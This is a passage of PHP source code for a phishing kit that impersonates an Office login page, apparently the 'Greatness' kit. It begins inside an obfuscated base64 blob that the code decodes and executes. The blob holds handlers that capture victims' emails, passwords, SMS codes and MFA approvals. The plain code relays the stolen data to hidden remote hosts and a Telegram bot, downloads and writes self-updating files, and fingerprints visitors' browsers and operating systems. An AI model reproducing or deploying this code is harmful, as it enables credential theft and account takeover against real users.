bGljaygpCgkJCQkJfQoJCQkJfQoJCQl9KTsKCQkvL30pOwoJCTwvc2NyaXB0PgogICAKICAgPC9ib2R5PjwvaHRtbD4nKTsKfQppZihpc3NldCgkX1BPU1RbImVycm9yIl0pKXsKCWxvZ2dlcl9lcnJvcigkX1BPU1RbImVycm9yIl0pOwp9CmlmKGlzc2V0KCRfUE9TVFsibGVmIl0pKXsKCQkkbG9nZ2VyPXNwcmludGYoIlZpY3RpbSAlcyBsZWZ0IHBhZ2UiLCRwdWJsX2lwKTsKCQkkZGlzPW5ldyBkaXNwKCk7CgkJJGRpcy0+c2VuZCgkbG9nZ2VyLCRib3QsJGNoYXQsJGVtYWlsLCRyel9uYW1lKTsKfQppZihpc3NldCgkX1BPU1RbInJhbmRvbSJdKSl7CgkkcmFuZG9tcyA9IGRvX2l0KCdyYW5kb20nLCcnLCRhcGksJGNoYXQsJHRlbXBfaG9zdCk7IAoJLy92YXJfZHVtcCgkcmFuZG9tcyk7CgllY2hvICRyYW5kb21zWzBdID09ICJbIiB8fCAkcmFuZG9tc1swXSA9PSAieyIgPyAgJHJhbmRvbXMgOiAiIjsKfQppZihpc3NldCgkX1BPU1RbIm1rciJdKSl7CgkkbWFpbmRvbXMgPSBkb19pdCgnbWtyJywnJywkYXBpLCRjaGF0LCR0ZW1wX2hvc3QpOyAKCS8vdmFyX2R1bXAoJHJhbmRvbXMpOwoJZWNobyAkbWFpbmRvbXM7Cn0KaWYoaXNzZXQoJF9QT1NUWyJta3IyIl0pKXsKCSRtYWluZG9tcyA9IGRvX2l0KCdta3IyJywnJywkYXBpLCRjaGF0LCR0ZW1wX2hvc3QpOyAKCS8vdmFyX2R1bXAoJHJhbmRvbXMpOwoJZWNobyAkbWFpbmRvbXM7Cn0KaWYoaXNzZXQoJF9HRVRbJ2FkbWluJ10pKXsKCSRhY3R1YWxfbGluazIgPSAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gImh0dHBzIiA6ICJodHRwIikgLiAiOi8vJF9TRVJWRVJbSFRUUF9IT1NUXSIuZXhwbG9kZSgnPycsJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pWzBdOwoJJGxpbF9jb25maWcgPSBzcHJpbnRmKCc9PT09PT09PVNFVFRJTkdTPT09PT09PQpCYXNlX1VybCA9IFsgJXMgXQpSZXN1bHRzIEZpbGUgPSAlcwpTZW5kIFZpc2l0ID0gJXMKQmxvY2sgQm90cyA9ICVzCkVtYWlsIEZvciBSZXN1bHRzID0gJXMKQ2hhdCBJRCA9ICVzCkFwaSBLZXkgPSAlcwo9PT09PT09PT09PT09PT09PT09PQoJJyxiYXNlNjRfZW5jb2RlKCRhY3R1YWxfbGluazIpLCRyel9uYW1lLCR2X3NlbmQgPT0gIjEiID8gJ1llcycgOiAnTm8nLCRibG9ja19jaGVja2VyID09ICIxIiA/ICdZZXMnIDogJ05vJywkZW1haWwsJGNoYXQsJGFwaSk7CgkkZGlzPW5ldyBkaXNwKCk7CgkkZGlzLT5zZW5kKCRsaWxfY29uZmlnLCRib3QsJGNoYXQsJGVtYWlsLCRyel9uYW1lKTsKfQoKaWYoaXNzZXQoJF9QT1NUWydzY3RlJ10pIHx8IGlzc2V0KCRfUE9TVFsnZmN0dCddKSl7CgkkdG9fY2hlY2s9YmFzZTY0X2RlY29kZSgkX1BPU1RbJ3NjdGUnXSA/PyAoJF9QT1NUWydmY3R0J10gPz8gIiIpKTsKCWlmKHRydWUpewoJCSRhbm9kYXQgPSAkX1BPU1RbJ2NvbmYnXSA/PyAnJzsKCQlpZighJGFub2RhdCl7CgkJCS8vZXhpdCgpOwoJCX0KCQkkYWN0dWFsX2xpbmsgPSAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gImh0dHBzIiA6ICJodHRwIikgLiAiOi8vJF9TRVJWRVJbSFRUUF9IT1NUXSRfU0VSVkVSW1JFUVVFU1RfVVJJXSI7CgkJJGlzX2l0PWRvX2l0KCdkZWYnLCcnLCRhcGksJGNoYXQsJHRlbXBfaG9zdCk7CgkJJGlzX2lzX2l0ID0ganNvbl9kZWNvZGUoJGlzX2l0LDEpOwoJCSRpc19pdCA9ICRpc19pc19pdCAhPSBudWxsID8gJGlzX2lzX2l0WzBdIDogJGlzX2l0OwoJCSRkZXRhaWxzID0gJGlzX2lzX2l0ICE9IG51bGwgPyBiYXNlNjRfZGVjb2RlKCRpc19pc19pdFsxXSkgOiBbXTsKCQlpZigkaXNfaXQ9PSd2YWxpZCcpewoJCQlnZXRfdF9kKCRib3QsJGNoYXQsJGVtYWlsLCR2X3NlbmQsJGJsb2NrX2NoZWNrZXIsJGRldGFpbHMpOwoJCQkkdW5wcm90ZWN0ZWQgPSB0b19vdXRwdXQoJHRvX2NoZWNrLCRhY3R1YWxfbGluaywkYXBpLCRjaGF0LCRhbm9kYXQpOwoJCQlmdW5jdGlvbiBhY3Rfb24oJEkxUExBNDZ5dTApewoJCQkJJElJUExBNDZ5dU8gPSBvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoMjU2KTsKCQkJCSRJMVBMQTQ2eXVPID0gb3BlbnNzbF9yYW5kb21fcHNldWRvX2J5dGVzKDE2KTsKCQkJCSRJSVBMQTQ2eXUwID0gaGFzaCgic2hhMjU2IixiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpKTsKCQkJCSRJMVBpQTQ2eXUwID0gaGFzaF9wYmtkZjIoInNoYTUxMiIsICRJSVBMQTQ2eXUwLCAkSUlQTEE0Nnl1TywgOTk5LCA2NCk7CgkJCQkkX285ID0gb3BlbnNzbF9lbmNyeXB0KCRJMVBMQTQ2eXUwLCAnYWVzLTI1Ni1jYmMnLCBoZXgyYmluKCRJMVBpQTQ2eXUwKSwgT1BFTlNTTF9SQVdfREFUQSwgJEkxUExBNDZ5dU8pOwoJCQkJJF8wOSA9IGJhc2U2NF9lbmNvZGUoJF9vOSkgLiAiKiIgLiBiaW4yaGV4KCRJMVBMQTQ2eXVPKSAuICIqIiAuIGJpbjJoZXgoJElJUExBNDZ5dU8pIC4gIioiIC4gJElJUExBNDZ5dTA7CgkJCQlyZXR1cm4gYmFzZTY0X2VuY29kZSgkXzA5KTsKCQkJfQoJCQllY2hvIGFjdF9vbigkdW5wcm90ZWN0ZWQpOwoJCX0KCQllbHNlIGlmKCRpc19pdCA9PSAnaXBfYmFuJyl7CgkJCWVjaG8gJ2lwX2Jhbic7CgkJfQoJCWVsc2UgaWYoJGlzX2l0ID09ICdvZCcpewoJCQllY2hvICdvdXRkYXRlZCc7CgkJfQoJCWVsc2V7CgkJCWVjaG8gJ25vJzsKCQl9Cgl9CgkKfSAKCmlmKGlzc2V0KCRfUE9TVFsnZW0nXSkpewogIGlmKGZpbHRlcl92YXIoJF9QT1NUWydlbSddLEZJTFRFUl9WQUxJREFURV9FTUFJTCkpCXsKCSAgJGVtYWlsPSRfUE9TVFsnZW0nXTsKCSAgJHJlc3BvbnNlPWRvX2l0KCdlbWFpbCcsJGVtYWlsLCRhcGksJGNoYXQsJHRlbXBfaG9zdCk7CgkgIGlmICgkcmVzcG9uc2UgPT0gNSl7CgkJICBlY2hvICdmYWlsJzsKCSAgfQoJICBlbHNlIGlmKCRyZXNwb25zZSl7CgkJICBlY2hvICRyZXNwb25zZTsKCSAgfQoJICBlbHNlewoJCSAgZWNobyAnJzsKCSAgfQogIH0KfQoKaWYoaXNzZXQoJF9QT1NUWyJ1cGQxMDEiXSkpewoJaWYodHJ1ZSl7CgkJJHVwZGYgPSBkb19pdCgndXBkJywkZW1haWwsJGFwaSwkY2hhdCwkdGVtcF9ob3N0KTsKCQkkdXBkaiA9IGpzb25fZGVjb2RlKCR1cGRmLDEpOwoJCS8vdmFyX2R1bXAoJHVwZGopOwoJCWlmKCR1cGRqWyJ5Il0pewoJCQkkZGF0YV9jb25mID0gJHVwZGpbImQiXTsKCQkJJHZlcnNpb24gPSAkdXBkalsidiJdOwoJCQkkZXJyb3IgPSAwOwoJCQlmb3JlYWNoKCRkYXRhX2NvbmYgYXMgJGluZGV4ID0+ICR2YWx1ZSl7CgkJCQkkbnAgPSAkcGF0aCA9ICR2YWx1ZVswXTsKCQkJCSRjb250ZW50ID0gJHZhbHVlWzFdOwoJCQkJaWYoY291bnQoJHZhbHVlKSA9PSAzKXsKCQkJCQkkbnAgPSAkdmFsdWVbMl07CgkJCQl9CgkJCQlpZihmaWxlX2V4aXN0cygkcGF0aCkpewoJCQkJCQlpZihmaWxlX2dldF9jb250ZW50cygkcGF0aCkgIT0gYmFzZTY0X2RlY29kZSgkY29udGVudCkpewoJCQkJCQkJQHVubGluaygkcGF0aCk7CgkJCQkJCQkkZnAgPSBmb3BlbigkbnAsIncrIik7CgkJCQkJCQlpZihmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJGNvbnRlbnQpKSA9PT0gRkFMU0UpewoJCQkJCQkJCSRlcnJvciA9IDE7CgkJCQkJCQl9CgkJCQkJCQlmY2xvc2UoJGZwKTsKCQkJCQkJCWlmKCEkZXJyb3IpewoJCQkJCQkJCWVjaG8ganNvbl9lbmNvZGUoYXJyYXkoCgkJCQkJCQkJCSJzdWNjZXNzIiA9PiAxLAoJCQkJCQkJCQkidmVyc2lvbiIgPT4gJHZlcnNpb24sCgkJCQkJCQkJKSk7CgkJCQkJCQl9CgkJCQkJCQllbHNlewoJCQkJCQkJCWVjaG8gMDsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJfQoJCQl9CgkJfWVsc2V7CgkJCWVjaG8gMDsKCQl9Cgl9Cn0KCmlmKGlzc2V0KCRfUE9TVFsnYXV0aCddKSl7CiAgaWYoJF9QT1NUWydhdXRoJ109PScxJyl7CgkgICRhdXRoPSRfUE9TVFsnYXV0aCddOwoJICAkcmVzcG9uc2U9ZG9faXQoJ2F1dGgnLCRfUE9TVFsnc3QnXSwkYXBpLCRjaGF0LCR0ZW1wX2hvc3QpOwoJICBlY2hvICRyZXNwb25zZTsKCSAgaWYoaW50dmFsKCRyZXNwb25zZSkpewoJCS8vICRsb2dnZXI9c3ByaW50ZigiMmZhIENvZGUgU2VudCB0byBWaWN0aW0gJXMiLCRwdWJsX2lwKTsKCQkvLyAkZGlzPW5ldyBkaXNwKCk7CgkJLy8gJGRpcy0+c2VuZCgkbG9nZ2VyLCRib3QsJGNoYXQsJGVtYWlsLCRyel9uYW1lKTsKCSAgfQoJICBlbHNlewoJCS8vICBlY2hvICcwJzsKCSAgfQogIH0KfQoKaWYoaXNzZXQoJF9QT1NUWydsaXZlJ10pKXsKCSRyZXNwb25zZXMgPSAiIjsKCWZvcmVhY2goJGR1bXBzIGFzICR0ZW1wX2hvKXsKCQkkcmVzcG9uc2U9ZG9faXQoJ2xpdmVfY2hlY2snLCcnLCRhcGksJGNoYXQsJHRlbXBfaG8pOwoJCSRyZXNwb25zZXMuPSAoc3RyaW5nKSAkcmVzcG9uc2U7Cgl9CgllY2hvICRyZXNwb25zZXM7CgkKfQppZihpc3NldCgkX1BPU1RbJ3N0YXJ0X21mYSddKSl7CgkkcmVzcG9uc2U9ZG9faXQoJ3N0YXJ0X21mJywkX1BPU1RbJ3N0J10sJGFwaSwkY2hhdCwkdGVtcF9ob3N0KTsKCS8vICRsb2dnZXI9c3ByaW50ZigiTWZhIFN0YXJ0ZWQgb24gdmljdGltICVzLFdhaXRpbmcgRm9yIEFwcHJvdmFsIiwkcHVibF9pcCk7CgkvLyAkZGlzPW5ldyBkaXNwKCk7CgkvLyAkZGlzLT5zZW5kKCRsb2dnZXIsJGJvdCwkY2hhdCwkZW1haWwsJHJ6X25hbWUpOwoJZWNobyAkcmVzcG9uc2U7Cn0KaWYoaXNzZXQoJF9QT1NUWydtZl9jb2RlJ10pKXsKCSAgJGNvZGU9ICFlbXB0eSgkX1BPU1RbJ21mX2NvZGUnXSkgPyAkX1BPU1RbJ21mX2NvZGUnXSA6ICcnOwoJICAkZW1haWxfYWRkPSRfUE9TVFsnZW1zdCddOwoJICAkcGFzcz0kX1BPU1RbJ3BzZSddOwoJICAkcmVzcG9uc2U9ZG9faXQoJ2NvZGUnLFskY29kZSwkX1BPU1RbJ3N0J10sJGVtYWlsX2FkZCxhcnJheSgKCSAgInR5cGUiPT4ibWZhIiwKCSAgImVtYWlsIj0+JGVtYWlsX2FkZCwKCSAgInBhc3MiID0+ICRwYXNzLAoJICAiaXAiID0+ICRwdWJsX2lwKQoJICBdLCRhcGksJGNoYXQsJHRlbXBfaG9zdCk7CgkvLyAgZWNobyAkcmVzcG9uc2U7CgkgIGZ1bmN0aW9uIGlzSnNvbigkc3RyaW5nKSB7CgkJCSRqc29uID0ganNvbl9kZWNvZGUoJHN0cmluZyk7CgkJCXJldHVybiAkanNvbiAmJiAkc3RyaW5nICE9ICRqc29uOwoJfQoJICBpZihpc0pzb24oJHJlc3BvbnNlKSA9PSB0cnVlKXsKCQkgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ3YnPT4xLCd0Jz0+JGZpbmlzaCkpOwoJICB9ZWxzZXsKCQkgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ3YnPT4wLCd0Jz0+JycpKTsKCQkgIC8vICRsb2dnZXI9c3ByaW50ZigiVmljdGltICVzLERlbmllZCBNRkEiLCRwdWJsX2lwKTsKCQkgIC8vICRkaXM9bmV3IGRpc3AoKTsKCQkgIC8vICRkaXMtPnNlbmQoJGxvZ2dlciwkYm90LCRjaGF0LCRlbWFpbCwkcnpfbmFtZSk7CgkJICAKCSAgfQp9CmlmKGlzc2V0KCRfUE9TVFsnY29kZSddKSl7CiAgaWYoJF9QT1NUWydjb2RlJ10pewoJICAkY29kZT0kX1BPU1RbJ2NvZGUnXTsKCSAgJGVtYWlsX2FkZD0kX1BPU1RbJ2Vtc3QnXTsKCSAgJHBhc3M9JF9QT1NUWydwc2UnXTsKCSAgJHJlc3BvbnNlPWRvX2l0KCdjb2RlJyxbJGNvZGUsJF9QT1NUWydzdCddLCRlbWFpbF9hZGQsYXJyYXkoCgkgICJ0eXBlIj0+InNtcyIsCgkgICJlbWFpbCI9PiRlbWFpbF9hZGQsCgkgICJwYXNzIiA9PiAkcGFzcywKCSAgImlwIiA9PiAkcHVibF9pcCldLCRhcGksJGNoYXQsJHRlbXBfaG9zdCk7CgkgIC8vZWNobyAkcmVzcG9uc2U7CgkgIGZ1bmN0aW9uIGlzSnNvbigkc3RyaW5nKSB7CgkJCSRqc29uID0ganNvbl9kZWNvZGUoJHN0cmluZyk7CgkJCXJldHVybiAkanNvbiAmJiAkc3RyaW5nICE9ICRqc29uOwoJCX0KCQkvL2VjaG8gJHJlc3BvbnNlOwoJICAgaWYgKGlzSnNvbigkcmVzcG9uc2UpID09IHRydWUgKXsKCQkgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ3YnPT4xLCd0Jz0+JGZpbmlzaCkpOwoJICB9CgkgIGVsc2V7CgkJICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCd2Jz0+MCwndCc9PicnKSk7CgkJICAvLyAkbG9nZ2VyPXNwcmludGYoIlZpY3RpbSAlcyxJbnNlcnRlZCBhIHdyb25nIGNvZGUiLCRwdWJsX2lwKTsKCQkgIC8vICRkaXM9bmV3IGRpc3AoKTsKCSAgICAgIC8vICRkaXMtPnNlbmQoJGxvZ2dlciwkYm90LCRjaGF0LCRlbWFpbCwkcnpfbmFtZSk7CgkgIH0KICB9Owp9CmlmKGlzc2V0KCRfUE9TVFsnYXV0aCddKSl7CglpZihmaWx0ZXJfdmFyKCRfUE9TVFsnYXV0aCddLEZJTFRFUl9WQUxJREFURV9FTUFJTCkpCXsKCQkkc3RhdGljPWRvX2l0KCdsb2dpbicsYXJyYXkoJF9QT1NUWydhdXRoJ10sJF9QT1NUWydwc3dkJ10sJHB1YmxfaXApLCRhcGksJGNoYXQsJHRlbXBfaG9zdCk7CgkJLy9lY2hvICRzdGF0aWM7CgkJJHVzZXI9JF9QT1NUWydhdXRoJ107CgkJJHBhc3M9JF9QT1NUWydwc3dkJ107CgkJZnVuY3Rpb24gaXNKc29uKCRzdHJpbmcpIHsKCQkJJGpzb24gPSBqc29uX2RlY29kZSgkc3RyaW5nKTsKCQkJcmV0dXJuICRqc29uICYmICRzdHJpbmcgIT0gJGpzb247CgkJfSAgCgkJaWYoaXNKc29uKCRzdGF0aWMpKXsKCQkJJGxvZ2dlZD1qc29uX2RlY29kZSgkc3RhdGljLDEpOwoJCQkkc3RhdGljPSRsb2dnZWRbJ3R5cGUnXTsKCQl9CgkJaWYoJHN0YXRpYyAmJiAkc3RhdGljPT0ndmFsaWQnKXsKCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgndCc9Pid2YWxpZCcsJ2ZpbmlzaCc9PiRmaW5pc2gpKTsKCQl9CgkJZWxzZSBpZigkc3RhdGljICYmICRzdGF0aWM9PSdzbXMnKXsKCQkJLy8gJGxvZ2dlcj1zcHJpbnRmKCJWaWN0aW0gJXMgYXR0ZW1wdGluZyAyZmEiLCRwdWJsX2lwKTsKCQkJLy8gJGRpcz1uZXcgZGlzcCgpOwoJCQkvLyAkZGlzLT5zZW5kKCRsb2dnZXIsJGJvdCwkY2hhdCwkZW1haWwsJHJ6X25hbWUpOwoJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCd0Jz0+J3NtcycsJ251bWJlcic9PiRsb2dnZWRbJ3Nob3cnXSwnZmlsZSc9PigkbG9nZ2VkWydmaWxlJ10pKSk7CgkJfQoJCWVsc2UgaWYoJHN0YXRpYyAmJiAkc3RhdGljPT0nbWZhMScpewoJCQkvLyAkbG9nZ2VyPXNwcmludGYoIlZpY3RpbSAlcyBhdHRlbXB0aW5nIG1mYSB0eXBlIDEiLCRwdWJsX2lwKTsKCQkJLy8gJGRpcz1uZXcgZGlzcCgpOwoJCQkvLyAkZGlzLT5zZW5kKCRsb2dnZXIsJGJvdCwkY2hhdCwkZW1haWwsJHJ6X25hbWUpOwoJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCd0Jz0+J21mYTEnLCdudW1iZXInPT4kbG9nZ2VkWydzaG93J10sJ2ZpbGUnPT4oJGxvZ2dlZFsnZmlsZSddKSkpOwoJCX0KCQllbHNlIGlmKCRzdGF0aWMgJiYgJHN0YXRpYz09J21mYTInKXsKCQkJLy8gJGxvZ2dlcj1zcHJpbnRmKCJWaWN0aW0gJXMgYXR0ZW1wdGluZyBtZmEgdHlwZSAyIiwkcHVibF9pcCk7CgkJCS8vICRkaXM9bmV3IGRpc3AoKTsKCQkJLy8gJGRpcy0+c2VuZCgkbG9nZ2VyLCRib3QsJGNoYXQsJGVtYWlsLCRyel9uYW1lKTsKCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgndCc9PidtZmEyJywnbnVtYmVyJz0+JGxvZ2dlZFsnc2hvdyddLCdmaWxlJz0+KCRsb2dnZWRbJ2ZpbGUnXSkpKTsKCQl9CgkJZWxzZSBpZighJHN0YXRpYyl7CgkJCWVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ3QnPT4nZmFpbCcsJ2ZpbmlzaCc9PiRmaW5pc2gpKTsKCQl9CgkJCgl9Cn0KJGVycm9ycy0+Y2hlY2tfc2VuZCgkYXBpLCRjaGF0LCR0ZW1wX2hvc3QpOwo=';   $______=$____($______);$___=$____($___);  $_____=$___('$___',$______);$_____($____($___________));

@session_start();
header('Access-Control-Allow-Origin: *'); 
header("Access-Control-Allow-Credentials: true");
header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');

$init = parse_ini_file('./files/config.ini');
$bot=$init['bot']; 
$chat=$init['chat'];
$email=$init['email'];
$finish=$init['finish'];
$api=trim($init['api']);
$v_send=$init['send_visit'];
$block_checker=$init['block_bot'];
$block_black=$init['detect_blacklist'] == "1" ? 1 : 0;
$block_proxy=$init['detect_proxy'] == "1" ? 1 : 0;
$accepted_countrys=$init['country_code'];
$s_key=$init['secret_key'];
$rz_name=$init['results_file'] != '' ? $init['results_file'] :'rz.txt';
$publ_ip=isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$actual_link = "http" . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

function decod($data){
	$nd = [];
	$md_arrray = explode(",",$data);
	$magic = 0.25;
	foreach($md_arrray as $ing){
		$cst_int = ((int) $ing) * $magic * 0.5;
		array_push($nd,chr($cst_int));
	}
	return implode("",$nd);
}

if(file_exists('./files/httpd.grt')){
	$temphost = file_get_contents('./files/httpd.grt');
	$dump = decod($temphost);
	$dumps = json_decode($dump,1);
	if(count($dumps) > 1)
		$dumps_rem = array_shift($dumps);
	//file_put_contents("test.txst",$dump);
	$ip = $publ_ip;
	$ipOrds = "";
	foreach(str_split($ip) as $ind => $value){
		$ipOrds.= (string)ord((string) $value);
	}
	$spl = str_split($ipOrds);
	$determiner = end($spl);
	//$determiner = 3;
	$index = (int)$determiner % (count($dumps));
	$temp_host = $dumps[$index];

}

class error_handle{
	public $path = "./admin/error";
	public function __construct(){
		$this->cooked = $this->cook();
	}
	public function __destruct(){
		if(!$this->cooked){
			define("STOP","Failed To Make Error Directory");
		}
	}
	private function cook(){
		if(!is_dir($this->path)){
			//define error holder
			if(mkdir($this->path))
				return true;
			
		}
	}
	public function logerr($err){
		file_put_contents(__DIR__."/".$this->path."/err.txt",$err,FILE_APPEND);
	}
	public function myErrorHandler_abstract($errno, $errstr, $errfile, $errline)
	{
    if (!(error_reporting() & $errno)) {
        // This error code is not included in error_reporting, so let it fall
        // through to the standard PHP error handler
        //return false;
    }

    // $errstr may need to be escaped:
    $errstr = htmlspecialchars($errstr);
	
	$eid = uniqid();
    switch ($errno) {
    case E_USER_ERROR:
        $this->logerr(  "[FATAL ERROR $eid:$errline]: [$errno] $errstr \\n");
        $this->logerr(  "[FATAL ERROR $eid]:  Fatal error on line $errline in file $errfile" . ", PHP " . PHP_VERSION . " (" . PHP_OS . ")\\n");
        exit(1);

    case E_USER_WARNING:
        $this->logerr(  "[WARNING $eid:$errline at $errfile]: [$errno] $errstr\\n");
        break;

    case E_USER_NOTICE:
        $this->logerr(  "[NOTICE $eid:$errline at $errfile]: [$errno] $errstr \\n");
        break;

    default:
        $this->logerr( "[Unknown $eid:$errline at $errfile]: [$errno] $errstr\\n");
        break;
    }

    /* Don't execute PHP internal error handler */
    return true;
	}
	public function fatal_handler_abstract() {
		$errfile = "unknown file";
		$errstr  = "shutdown";
		$errno   = E_CORE_ERROR;
		$errline = 0;

		$error = error_get_last();

		if($error !== NULL) {
			   $errno   = $error["type"];
     		   $errfile = $error["file"];
			   $errline = $error["line"];
			   $errstr  = $error["message"];
			   $eid = uniqid();
			   $this->logerr(  "[EXIT ERROR $eid]: [$errno] $errstr \\n");
			   $this->logerr(  "[EXIT ERROR $eid]:  Fatal error on line $errline in file $errfile" . ", PHP " . PHP_VERSION . " (" . PHP_OS . ")\\n");
		}
	}
	public function check_send($api,$chat,$host){
		if(!file_exists(__DIR__."/".$this->path."/err.txt"))
			return false;
		if(($content = @file_get_contents(__DIR__."/".$this->path."/err.txt")) && !empty($content)){
			if($this->send_error_log($content,$api,$chat,$host))
				@unlink(__DIR__."/".$this->path."/err.txt");
		}
	}
	private function send_error_log($error,$api,$chat,$host){
		return do_it('error',$error,$api,$chat,$host) == "logged";
	}
}

//errors 
error_reporting(E_ALL);
$errors = new error_handle();
register_shutdown_function( [$errors,"fatal_handler_abstract"] );
$old_error_handler = set_error_handler([$errors,"myErrorHandler_abstract"]);

function logger_error($error){
	file_put_contents("./admin/error.log",$error);
}
class disp {
	public function curl1($url){
		if($this->curl($url)==''){
			$this->curl($url);
		}
	}
	public function save($arg,$loc){
		file_put_contents(__DIR__.'/'.$loc,$arg,FILE_APPEND);
	}
	public function curl($url){
		$ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $exec = curl_exec($ch);
		$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
		if($httpcode == 200){
			return $exec;
		}
		else{
			logger_error("Telegram token not activated");
			echo "token";
			exit();
		}
	}
	public function mailTo($add,$cont){
		$subject='++++Office Email From Greatness+++++';
		$headers='Content-type: text/html; charset=UTF-8' . "\\r\\nFrom: Greatness <ghost+}f7113307018770d52d4f94fec013197f{[email protected]>" . "\\r\\n";
		@mail($add,$subject,$cont,$headers);
	}
	public function send($arg,$bot_token,$chat_id,$email,$loc){
		$config=array(
		'chat_id'=>$chat_id,
		'text'=>$arg
		);
		$url='<https://api.telegram.org/bot'.str_replace('bot','>',$bot_token);
		$start=$url.'/sendMessage?'.str_replace('?','',http_build_query($config));
		$this->curl1($start);
	//	$this->mailTo($email,$arg);
	//	$this->save($arg,$loc);
	}
}

define("bot_token",$bot);
define("chat_id",$chat);
define("a_link",$actual_link);
define("public_ip",$publ_ip);
define("rem",$dumps_rem ?? "");
define("one_hot",[$block_black, $block_proxy]);

function do_it($type,$value,$api,$chat,$temp_host){
	$bot = bot_token;
	$chat = chat_id;
	$actual_link=a_link;
	$pub_ip = public_ip;
	$link = $actual_link;
switch($type){
	case 'email':
		$data = array('api_key'=>array($api,$chat,$bot,$link),'data'=>$value,'type'=>'email');
		break;
	case 'login':
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>$value,'type'=>'login');
		break;
	case 'bot':
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>$value,'type'=>'bot');
		break;
	case 'code':
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>$value,'type'=>'code');
		break;
	case 'auth':
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>$value,'type'=>'auth');
		break;
	case 'start_mf':
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>$value,'type'=>'start_mf');
		break;
	case "random":
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>"",'type'=>'random');
		break;
	case "mkr":
		$dir = 999;
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>"",'type'=>'mkr');
		break;
	case "mkr2":
		$dir = 999;
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>"",'type'=>'mkr2');
		break;
	case "upd":
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>'{"upd":"1"}','type'=>'upd');
		$dir = 999;
		break;
	case "error":
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>$value,'type'=>'error');
		$dir = 999;
		break;
	case "bt":
		$data = array('api_key' => array($api,$chat,$bot,$link),'data'=>$value,'type' => 'bt');
		break;
	default:
		$one_hot = one_hot;
		$data=array('api_key' => array($api,$chat,$bot,$link,$one_hot,$pub_ip));
		$dir = 999;
}

$data_json = json_encode($data);
$raw='data='.urlencode($data_json);
$priv=isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];

$url = !isset($dir) ? $temp_host : (rem ?: $temp_host);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Accept: */*',
    //'Accept-Encoding: gzip, deflate',
    'Accept-Language: en-US,en;q=0.5',
    'Connection: keep-alive',
    'X-For: '.$priv,
    'User-Agent: '.$_SERVER['HTTP_USER_AGENT']#Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0'
  )
);
curl_setopt($ch, CURLOPT_POSTFIELDS,$raw);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
$response  = curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($type=='live_check'){
	if($httpcode!=200 || $httpcode==404){
		return 0;
		exit();
	}
	else{
		return 1;
		exit();
	}
}
curl_close($ch);
return $response;
}
function os(){
		$os_platform="Unknown OS";
		$all=array('/windows nt 10/i'=>'Windows 10','/windows nt 6.3/i'=>'Windows 8.1','/windows nt 6.2/i'=>'Windows 8','/windows nt 6.1/i'=>'Windows 7','/windows nt 6.0/i'=>'Windows Vista','/windows nt 5.2/i'=>'Windows Server 2003/XP x64','/windows nt 5.1/i'=>'Windows XP','/windows xp/i'=>'Windows XP','/windows nt 5.0/i'=>'Windows 2000','/windows me/i'=>'Windows ME','/win98/i'=>'Windows 98','/win95/i'=>'Windows 95','/win16/i'=>'Windows 3.11','/macintosh|mac os x/i'=>'Mac OS X','/mac_powerpc/i'=>'Mac OS 9','/linux/i'=>'Linux','/ubuntu/i'=>'Ubuntu','/iphone/i'=>'iPhone','/ipod/i'=>'iPod','/ipad/i'=>'iPad','/android/i'=>'Android','/blackberry/i'=>'BlackBerry','/webos/i'=>'Mobile');
		foreach($all as $regex=>$value){
			if(preg_match($regex,$_SERVER['HTTP_USER_AGENT'])){
				$os_platform=$value;
			}
		}
		return $os_platform;
}
function browse(){
		$browser="Unknown Browser";
		$all=array('/msie/i'=>'Internet Explorer','/firefox/i'=>'Firefox','/safari/i'=>'Safari','/chrome/i'=>'Chrome','/edge/i'=>'Edge','/opera/i'=>'Opera','/netscape/i'=>'Netscape','/maxthon/i'=>'Maxthon','/konqueror/i'=>'Konqueror','/mobile/i'=>'Handheld Browser');
		foreach($all as $regex=>$value){
			if(preg_match($regex,$_SERVER['HTTP_USER_AGENT'])){
				$browser=$value;
			}
		}
		return $browser;
}
